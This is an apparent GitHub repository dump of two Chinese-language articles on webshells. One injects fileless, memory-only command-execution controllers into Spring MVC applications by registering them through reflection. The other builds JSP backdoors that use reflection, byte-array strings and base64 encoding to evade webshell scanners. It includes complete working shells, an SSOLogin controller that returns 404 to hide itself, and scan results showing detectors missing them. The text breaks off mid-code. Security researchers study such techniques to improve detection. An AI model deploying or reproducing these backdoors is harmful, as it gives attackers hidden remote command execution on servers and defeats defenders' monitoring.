(!this.lazyInitHandlers && handler instanceof String) { 321 | String handlerName = (String)handler; 322 | if (this.getApplicationContext().isSingleton(handlerName)) { 323 | resolvedHandler = this.getApplicationContext().getBean(handlerName); 324 | } 325 | } 326 | Object mappedHandler = this.handlerMap.get(urlPath); 327 | if (mappedHandler != null) { 328 | if (mappedHandler != resolvedHandler) { 329 | throw new IllegalStateException("Cannot map " + this.getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + this.getHandlerDescription(mappedHandler) + " mapped."); 330 | ... 331 | } else { 332 | this.handlerMap.put(urlPath, resolvedHandler); 333 | if (this.logger.isInfoEnabled()) { 334 | this.logger.info("Mapped URL path [" + urlPath + "] onto " + this.getHandlerDescription(handler)); 335 | } 336 | } 337 | } 338 | ``` 339 | 340 | 341 | 342 | 该方法接受 `urlPath`参数和 `handler`参数,可以在 `this.getApplicationContext()` 获得的上下文环境中寻找名字为 `handler` 参数值的 `bean`, 将 url 和 controller 实例 bean 注册到 `handlerMap` 中。 343 | 344 | 相关示例代码和解释如下: 345 | 346 | ```java 347 | // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean 348 | context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance()); 349 | // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean 350 | org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); 351 | // 3. 反射获得 registerHandler Method 352 | java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class); 353 | m1.setAccessible(true); 354 | // 4. 将 dynamicController 和 URL 注册到 handlerMap 中 355 | m1.invoke(dh, "/favicon", "dynamicController"); 356 | ``` 357 | 358 | 359 | 360 | #### 方法三:detectHandlerMethods 361 | 362 | 参考上面的 `HandlerMapping` 接口继承关系图,针对使用 `RequestMappingHandlerMapping` 映射器的应用,可以找到它继承的顶层类 363 | 364 | ```java 365 | org.springframework.web.servlet.handler.AbstractHandlerMethodMapping 366 | ``` 367 | 368 | 进入查看代码,发现其中有一个`detectHandlerMethods` 方法,代码如下: 369 | 370 | ```java 371 | protected void detectHandlerMethods(Object handler) { 372 | Class handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass(); 373 | final Class userType = ClassUtils.getUserClass(handlerType); 374 | Set methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() { 375 | public boolean matches(Method method) { 376 | return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null; 377 | } 378 | }); 379 | Iterator var6 = methods.iterator(); 380 | while(var6.hasNext()) { 381 | Method method = (Method)var6.next(); 382 | T mapping = this.getMappingForMethod(method, userType); 383 | this.registerHandlerMethod(handler, method, mapping); 384 | } 385 | } 386 | ``` 387 | 388 | 389 | 390 | 该方法仅接受`handler`参数,同样可以在 `this.getApplicationContext()` 获得的上下文环境中寻找名字为 `handler` 参数值的 `bean`, 并注册 `controller` 的实例 `bean`。 391 | 392 | 示例代码如下: 393 | 394 | ```java 395 | context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance()); 396 | org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); 397 | java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class); 398 | m1.setAccessible(true); 399 | m1.invoke(requestMappingHandlerMapping, "dynamicController"); 400 | ``` 401 | 402 | 403 | 404 | ### 3. controller 中的 Webshell 逻辑 405 | 406 | 在使用 `registerMapping` 动态注册 `controller` 时,不需要强制使用 `@RequestMapping` 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 `controller` 的方法都必须要在 `controller` 中使用`@RequestMapping` 注解 。 407 | 408 | 除此之外,将 Webshell 的代码逻辑写在主要的 `Controller` 方法中即可。 409 | 410 | 下面提供一个简单的用来执行命令回显的 Webshell 代码示例: 411 | 412 | ```java 413 | package me.landgrey; 414 | 415 | import org.springframework.stereotype.Controller; 416 | import org.springframework.web.bind.annotation.RequestMapping; 417 | 418 | import javax.servlet.http.HttpServletRequest; 419 | import javax.servlet.http.HttpServletResponse; 420 | import java.io.PrintWriter; 421 | 422 | @Controller 423 | public class SSOLogin { 424 | 425 | @RequestMapping(value = "/favicon") 426 | public void login(HttpServletRequest request, HttpServletResponse response){ 427 | try { 428 | String arg0 = request.getParameter("code"); 429 | PrintWriter writer = response.getWriter(); 430 | if (arg0 != null) { 431 | String o = ""; 432 | java.lang.ProcessBuilder p; 433 | if(System.getProperty("os.name").toLowerCase().contains("win")){ 434 | p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); 435 | }else{ 436 | p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); 437 | } 438 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); 439 | o = c.hasNext() ? c.next(): o; 440 | c.close(); 441 | writer.write(o); 442 | writer.flush(); 443 | writer.close(); 444 | }else{ 445 | response.sendError(404); 446 | } 447 | }catch (Exception e){ 448 | } 449 | } 450 | } 451 | ``` 452 | 453 | 代码比较简单,达到的效果是,当请求没有携带指定的参数(`code`)时,返回 404 错误,当没有经验的人员检查时,因为 Webshell 仅存在于内存中,直接访问又是 404 状态码,所以很可能会认为 Webshell 不存在或者没有异常了。 454 | 455 | 456 | 457 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/response-01.png) 458 | 459 | 460 | 461 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/response-02.png) 462 | 463 | 464 | 465 | ## 五. 注意事项 466 | 467 | ### 不同的映射处理器 468 | 469 | 如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 `RequestMappingHandlerMapping` 实例的 `bean`,但会存在 `DefaultAnnotationHandlerMapping` 的实例 `bean`。 470 | 471 | ```java 472 | 473 | 474 | ``` 475 | 476 | 477 | 478 | ### Root Context 与 Child Context 479 | 480 | 上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 `Child WebApplicationContext`。 481 | 482 | 这是因为:根据习惯,在很多应用配置中注册`Controller` 的 `component-scan` 组件都配置在类似的 `dispatcherServlet-servlet.xml` 中,而不是全局配置文件 `applicationContext.xml` 中。 483 | 484 | 这样就导致 `RequestMappingHandlerMapping` 的实例 `bean` 只存在于 `Child WebApplicationContext` 环境中,而不是 `Root WebApplicationContext` 中。上文也提到过,`Root Context`无法访问`Child Context`中定义的 `bean`,所以可能会导致 `Root WebApplicationContext` 获得不了 `RequestMappingHandlerMapping` 的实例 `bean` 的情况。 485 | 486 | 另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 `ContextLoaderListener` 、也没有类似 `applicationContext.xml` 的全局配置文件,只有简单的 `servlet` 配置文件,这时候通过前两种方法是获取不到`Root WebApplicationContext`的。 487 | 488 | 489 | 490 | ### 应用场景 491 | 492 | 既然是通过执行 java 代码内存注入 webshell,那么一般需要通过 Spring 相关的**代码执行漏洞**才可以利用,例如较为常见的 Java 反序列漏洞、普通的 JSP 文件 Webshell 转换成无文件 Webshell等。 493 | 494 | 495 | 496 | ## 六. 演示 497 | 498 | 本文技术的具体实现已集成到实验室内部的 Webshell 管理工具中,下面的动态图片演示了在 `SpringMvc` 环境中向内存注入一个自定义 URL 的 Webshell 操作。 499 | 500 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/video.gif) 501 | 502 | 503 | 504 | 505 | 506 | ## 参考链接: 507 | 508 | [Spring Framework 5 中文文档](https://lfvepclr.gitbooks.io/spring-framework-5-doc-cn/) 509 | 510 | [Spring源码阅读-ApplicationContext体系结构分析](https://www.cnblogs.com/zhangfengxian/p/11192054.html) 511 | 512 | [contextloaderlistener-vs-dispatcherservlet](https://howtodoinjava.com/spring-mvc/contextloaderlistener-vs-dispatcherservlet/) 513 | 514 | [DispatcherServlet与ContextLoaderListener的对比](https://blog.csdn.net/sadfishsc/article/details/51027873) 515 | 516 | [Spring MVC手动注册requestMapping](https://blog.csdn.net/GAMEloft9/article/details/81625348) 517 | 518 | [动态注册bean后手动注册controller](https://bbs.csdn.net/topics/392073765) 519 | 520 | -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ClassLoader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ClassLoader.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Process.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Process.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-check.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-cmd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-cmd.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-reflect-start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-reflect-start.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder-shell.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder.start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessBuilder.start.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl-jdk6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl-jdk6.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/ProcessImpl.start.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime-constructor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime-constructor.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime.exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/Runtime.exec.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/forName.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/forName.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/local-check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/local-check.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/relations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/relations.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/scanner-check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/scanner-check.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/shellpub-check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/shellpub-check.png -------------------------------------------------------------------------------- /docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md: -------------------------------------------------------------------------------- 1 | ### 0x00:前言 2 | 3 | JSP后门,一般是指文件名以.jsp等后缀结尾的,可运行于Java servlet及相关容器和组件内的通用JSP脚本。 4 | 5 | 本文主要讨论利用Java反射机制和Java类加载机制构造JSP系统命令执行后门,并绕过一般软件检测的方法。 6 | 7 | ### 0x01:Java执行系统命令的方法和原理 8 | 9 | 要构建JSP命令执行后门,首先需要了解Java语言执行系统命令的方法及其原理。通过查阅资料知道:目前Java语言执行系统命令主要通过下面两个类的相关方法实现: 10 | 11 | ``` 12 | java.lang.Runtime 13 | java.lang.ProcessBuilder 14 | ``` 15 | 16 | - #### JVM层面 17 | 18 | 查阅 [**Java 文档**](http://tool.oschina.net/apidocs/apidoc?api=jdk-zh) 可以发现,上面两个类,都是对java.lang.Process抽象类的实现 19 | 20 | ![java.lang.Process类](Process.png) 21 | 22 | Java语言中执行系统命令的方式,简单来说就是**由JVM创建一个本机进程,加载对应的指令到进程的地址空间中,然后执行该指令**。 23 | 24 | 而**java.lang.Runtime.getRuntime().exec()**和 **java.lang.ProcessBuilder.start()**方法,其实就是创建一个进程的方法。 25 | 26 | - #### 代码层面 27 | 28 | 首先,进入java.lang.Runtime类中,发现Runtime类的构造器是private修饰的,所以无法直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例。 29 | 30 | ![Runtime的private构造方法](Runtime-constructor.png) 31 | 32 | 跟随java.lang.Runtime.getRuntime(),进入exec()方法;然后不断跟踪代码,定位到如下方法中。可以看到,Runtime类实现的系统命令执行方法exec(),底层代码其实是调用了ProcessBuilder类。 33 | 34 | ![Runtime.exec()方法](Runtime.exec.png) 35 | 36 | 然后我们定位到ProcessBuilder类代码中,我们知道ProcessBuilder类用start方法创建进程,所以找到start方法的相关代码。可以发现其底层代码是调用了java.lang.ProcessImpl类的start方法,最终实现创建本机进程,执行系统命令的功能。 37 | 38 | ![ProcessBuilder.start()方法](ProcessBuilder.start.png) 39 | 40 | 继续跟踪,发现ProcessImpl类的原型是一个继承自Process类的final类 41 | 42 | `final class ProcessImpl extends Process{}` 43 | 44 | 查看ProcessImpl的构造器,发现是private修饰的,所以无法直接在java.lang包外,直接调用ProcessImpl类。 45 | 46 | ``` 47 | private ProcessImpl(String cmd[], 48 | final String envblock, 49 | final String path, 50 | final long[] stdHandles, 51 | final boolean redirectErrorStream) 52 | throws IOException 53 | {} 54 | ``` 55 | 56 | 继续追踪ProcessImpl类的start方法,发现最后是返回了一个ProcessImpl 类的实例。 57 | 58 | ![ProcessImpl.start()方法](ProcessImpl.png) 59 | 60 | 总结一下,Java语言执行系统命令相关类和方法的调用关系表示如下图: 61 | 62 | ![依存关系](relations.png) 63 | 64 | ### 0x02:JSP标签 65 | 66 | 在JSP页面中嵌入java代码,需要正确的使用JSP标签,这里顺带提一下。 67 | 68 | ```jsp 69 | <%@ %> 页面指令,设定页面属性和特征信息 70 | <% %> java代码片段,不能在此声明方法 71 | <%! %> java代码声明,声明全局变量或当前页面的方法 72 | <%= %> Java表达式 73 | ``` 74 | 75 | ### 0x03:用ProcessBuilder绕过检测 76 | 77 | 先看一个简单原始的执行系统命令的后门: 78 | 79 | `<%Runtime.getRuntime().exec(request.getParameter("i"));%>` 80 | 81 | 接收请求参数**i**传递的命令字符串,然后使用Runtime对象的exec()方法执行该命令。特点是命令无回显,会被杀。 82 | 83 | "Runtime"、"exec"字符串过于显眼,基本都会被查杀软件检测到。所以,可以使用ProcessBuilder类建立一个不那么轻易被杀的命令执行后门,命名为[ProcessBuilder-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/ProcessBuilder-cmd.jsp): 84 | 85 | ```jsp 86 | <%@ page pageEncoding="utf-8"%> 87 | <%@ page import="java.util.Scanner" %> 88 | 89 | Just For Fun 90 | 91 |

Build By LandGrey

92 |
93 | 94 | 95 |
96 | 97 | <% 98 | String op="Got Nothing"; 99 | String query = request.getParameter("q"); 100 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 101 | Boolean isWin; 102 | if(fileSeparator.equals("\\")){ 103 | isWin = true; 104 | }else{ 105 | isWin = false; 106 | } 107 | 108 | if (query != null) { 109 | ProcessBuilder pb; 110 | if(isWin) { 111 | pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); 112 | }else{ 113 | pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); 114 | } 115 | Process process = pb.start(); 116 | Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); 117 | op = sc.hasNext() ? sc.next() : op; 118 | sc.close(); 119 | } 120 | %> 121 | 122 |
123 |     <%= op %>>
124 | 
125 | 126 | 127 | ``` 128 | 129 | 执行命令: 130 | 131 | ![利用ProcessBuilder来执行命令](ProcessBuilder-cmd.png) 132 | 133 | 上述代码做的几点绕过检测的考虑: 134 | 135 | ``` 136 | 1. 避免出现敏感变量名 137 | 如"cmd"、"spy"、"exec"、"shell"、"execute"、"system"、"command"等等 138 | 2. 字符串拆解重组 139 | 将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理,由字节转为字符串 140 | 3. 使用Scanner接收回显 141 | 接收命令回显数据时,避免使用BufferedReader等常见手段 142 | 4. 用fileSeparator来判断操作系统类型 143 | 一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令 144 | 5. 不导入过多的包 145 | ``` 146 | 147 | 虽然做的绕过考虑不多,还**带有ProcessBuilder关键字**,但还是没被以下软件和平台检测出来: 148 | 149 | **virustotal检测**: 150 | 151 | ![virustotal检测结果](ProcessBuilder-check.png) 152 | 153 | **shellpub.com检测:** 154 | 155 | ![shellpub.com检测结果](shellpub-check.png) 156 | 157 | **D盾、安全狗、深信服Webshell扫描检测:**只有故意放置的一个简单exec后门被查出来 158 | 159 | ![本地软件检测结果](local-check.png) 160 | 161 | **OpenRASP团队 https://scanner.baidu.com 检测**结果(引擎版本: 2018-0509-1000):没有发现异常 162 | 163 | ![scanner.baidu.com检测](scanner-check.png) 164 | 165 | ### 0x04:使用Java反射机制绕过检测 166 | 167 | Runtime类的exec方法在Webshell中用的多了,极易被后门查杀软件检测到,那么就不能用exec函数来执行系统命令了嘛?不然,还可以使用Java反射技术既绕过软件对"Runtime"、"exec"等关键词的检查又使用exec函数来执行系统命令。 168 | 169 | 在运行时,对于一个类,能够获取这个类的所有属性和方法,对于一个对象,都能够调用它的任意一个方法和属性,这种动态获取信息和动态调用对象方法的功能称为java语言的反射机制。Java反射机制的来龙去脉比较复杂,这里再给出一段简介用来参考: 170 | 171 | > Java Reflection makes it possible to inspect classes, interfaces, fields and methods at runtime, without knowing the names of the classes, methods etc. at compile time. It is also possible to instantiate new objects, invoke methods and get/set field values using reflection. 172 | 173 | #### 一. 反射Runtime 174 | 175 | 通过查阅[资料](http://tutorials.jenkov.com/java-reflection/index.html),可写出利用反射机制调用Runtime类exec方法执行系统命令的一段示例代码: 176 | 177 | ```java 178 | String op = ""; 179 | Class rt = Class.forName("java.lang.Runtime"); 180 | Method gr = rt.getMethod("getRuntime"); 181 | Method ex = rt.getMethod("exec", String.class); 182 | Process e = (Process) ex.invoke(gr.invoke(null, new Object[]{}), "cmd /c ping www.baidu.com"); 183 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A"); 184 | op = sc.hasNext() ? sc.next() : op; 185 | sc.close(); 186 | System.out.print(op); 187 | ``` 188 | 189 | 具体代码含义不浪费篇幅解释了,讲下代码的主要逻辑: 190 | 191 | 1. 获取Runtime类的Class对象 192 | 2. 分别获取Runtime类Class对象的getRuntime方法和exec方法的Method对象 193 | 3. 利用getRuntime方法的Method对象,进行invoke调用,获得Runtime对象实例 194 | 4. 利用exec方法的Method对象,进行invoke调用,执行系统命令 195 | 5. 获取命令执行输出并打印 196 | 197 | 基于以上代码,然后就可以轻松创造出一个使用Java反射技术,既调用Runtime类exec函数执行系统命令, 又可以免杀的JSP后门了,命名为:[Runtime-reflect-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp) 198 | 199 | ```jsp 200 | <%@ page import="java.util.Scanner" pageEncoding="UTF-8" %> 201 | 202 | Just For Fun 203 | 204 |

Build By LandGrey

205 | 206 |
207 | 208 | 209 |
210 | 211 | <%! 212 | public static String getPicture(String str) throws Exception{ 213 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 214 | if(fileSeparator.equals("\\")){ 215 | str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str; 216 | }else{ 217 | str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str; 218 | } 219 | Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); 220 | Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str }); 221 | Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A"); 222 | String result = ""; 223 | result = sc.hasNext() ? sc.next() : result; 224 | sc.close(); 225 | return result; 226 | } 227 | %> 228 | 229 | <% 230 | String name ="Input Nothing"; 231 | String query = request.getParameter("q"); 232 | if(query != null) { 233 | name = getPicture(query); 234 | } 235 | %> 236 | 237 |
238 | <%= name %>
239 | 
240 | 241 | 242 | 243 | ``` 244 | 245 | 在Runtime-reflect-cmd.jsp 脚本中:<%! %>标签里声明了用来执行系统命令的getPicture方法,<% %>标签里接受输入的命令,调用了getPicture方法,执行命令并返回结果<%= %>标签里输出系统命令执行结果到网页的\
标签对中。
246 | 
247 | #### 二. 反射ProcessBuilder
248 | 
249 | 查找资料,可以发现已有使用过Runtime反射后门的代码。那么既然可以反射Runtime,其实也可以构造出利用ProcessBuilder类start函数的jsp反射后门。
250 | 
251 | 以下后门代码命名为[ProcessBuilder-reflect-cmd.jsp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/ProcessBuilder-reflect-cmd.jsp)
252 | 
253 | ```jsp
254 | <%@ page pageEncoding="UTF-8" %>
255 | <%@ page import="java.util.List" %>
256 | <%@ page import="java.util.Scanner" %>
257 | <%@ page import="java.util.ArrayList" %>
258 | <%@ page import="sun.misc.BASE64Encoder" %>
259 | <%@ page import="sun.misc.BASE64Decoder" %>
260 | 
261 | Just For Fun
262 | 
263 | 

Build By LandGrey

264 | 265 |
266 | 267 | 268 |
269 | 270 | <%! 271 | public static String getPicture(String str) throws Exception { 272 | List list = new ArrayList(); 273 | BASE64Decoder decoder = new BASE64Decoder(); 274 | BASE64Encoder encoder = new BASE64Encoder(); 275 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 276 | if(fileSeparator.equals("\\")){ 277 | list.add(new String(decoder.decodeBuffer("Y21k"))); 278 | list.add(new String(decoder.decodeBuffer("L2M="))); 279 | }else{ 280 | list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo"))); 281 | list.add(new String(decoder.decodeBuffer("LWM="))); 282 | } 283 | list.add(new String(decoder.decodeBuffer(str))); 284 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy"))); 285 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list)); 286 | Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A"); 287 | String result = ""; 288 | result = sc.hasNext() ? sc.next() : result; 289 | sc.close(); 290 | return encoder.encode(result.getBytes("UTF-8")); 291 | } 292 | 293 | %> 294 | 295 | <% 296 | String name ="Input Nothing"; 297 | String query = request.getParameter("q"); 298 | if(query != null) { 299 | name = getPicture(query); 300 | } 301 | %> 302 | 303 |
304 | <%= name %>
305 | 
306 | 307 | 308 | 309 | ``` 310 | 311 | ProcessBuilder-reflect-cmd.jsp脚本中,考虑到通用性、隐蔽性和对抗网页流量内容检测,用sun.misc包中的base64编码函数来处理了相关变量和内容。命令需要base64编码一下再提交,最后输出的内容需要base64解码: 312 | 313 | ![ProcessBuilder反射后门](ProcessBuilder-reflect-start.png) 314 | 315 | 其中关键的两行反射代码: 316 | 317 | ```java 318 | Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy"))); 319 | Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list)); 320 | ``` 321 | 322 | 为了易于理解可以写成下面的示例代码供参考: 323 | 324 | ```java 325 | // 1. 获取ProcessBuilder的Class对象,PB 326 | Class PB = Class.forName("java.lang.ProcessBuilder"); 327 | // 2. 从PB获取接受一个List类型变量作为参数的构造器对象,constructor 328 | Constructor constructor = PB.getConstructor(new Class[]{List.class}); 329 | 或 330 | // 获得PB的第一个(也只有一个)构造器对象 331 | Constructor constructor = PB.getDeclaredConstructors()[0]; 332 | // 3. 从PB获取一个名叫"start"的方法对象,m 333 | Method m = PB.getMethod("start"); 334 | // 4. 提供给constructor需要的List类型变量值list(其中包含我们需要执行的命令),获得一个实例对象obj 335 | Object obj = constructor.newInstance(list); 336 | //5. 传入obj对象,调用m("start"方法),执行系统命令 337 | Process process = (Process) m.invoke(obj); 338 | ``` 339 | 340 | #### 三. 关于反射ProcessImpl 341 | 342 | 在"**0x01:Java执行系统命令的方法和原理**"部分讲了,ProcessImpl类不是public修饰的,不能从java.lang包外的地方直接访问。所以想要接触到ProcessImpl.start方法就要用到反射机制(需要setAccessible true),反射最原始的ProcessImpl类的start方法,来执行系统命令。 343 | 344 | 用代码 345 | 346 | ```java 347 | import java.lang.reflect.*; 348 | 349 | Class Pi = Class.forName("java.lang.ProcessImpl"); 350 | Method[] methods = Pi.getDeclaredMethods(); 351 | for(Method m:methods){ 352 | m.setAccessible(true); 353 | System.out.println(m.toString()); 354 | } 355 | ``` 356 | 357 | 可以获得ProcessImpl.start方法的参数原型(JDK8): 358 | 359 | `static java.lang.Process java.lang.ProcessImpl.start(java.lang.String[],java.util.Map,java.lang.String,java.lang.ProcessBuilder$Redirect[],boolean) throws java.io.IOException` 360 | 361 | 或者跟踪到ProcessImpl类中,也可以直接观察需要的5个参数值类型: 362 | 363 | ![ProcessImpl start函数构造](ProcessImpl.start.png) 364 | 365 | 经[@0c0c0f](https://github.com/0c0c0f) 提醒, 其实反射java.lang.ProcessImpl类来执行代码,看起来要传入5个参数,实现起来其实也不复杂,完整代码示例如下: 366 | 367 | ```java 368 | import java.util.Map; 369 | import java.lang.Process; 370 | import java.util.Scanner; 371 | import java.lang.reflect.Method; 372 | import java.lang.ProcessBuilder.Redirect; 373 | 374 | 375 | public class invoke_ProcessImpl { 376 | public static void 